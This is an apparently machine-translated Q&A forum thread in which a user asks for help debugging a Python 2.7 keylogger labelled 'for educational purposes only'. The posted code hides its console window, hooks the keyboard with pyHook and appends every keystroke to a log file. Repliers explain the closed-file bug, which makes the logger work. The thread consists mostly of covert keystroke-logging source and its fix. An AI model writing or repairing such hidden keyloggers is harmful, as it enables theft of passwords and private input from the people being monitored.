時,所以我想做一個鍵盤記錄軟件(教育目的只),在這裏我的代碼Python代碼錯誤使鍵盤記錄器(僅教育目的)
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
運行代碼我得到了幾個錯誤,這樣
後Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
我做到了這樣,只要我按下字符'Q',程序就會結束記錄擊鍵。但是,如果我輸入以下代碼:第19-20行之間的「exit()」,程序可以正常工作,但在可以執行任何其他操作之前退出。我一直在試圖自己解決這個問題,但我似乎無法按照我想要的方式來解決問題。有任何想法嗎?順便使用Python 2.7.8。
'如果炭== 「Q」:f.close()[SNIP] f.write(炭)'。你有沒有看到問題? –
我想如果日誌文件關閉就不能寫char,對吧? –
賓果。在關閉文件之前寫入字符,或者根本不寫入字符。 –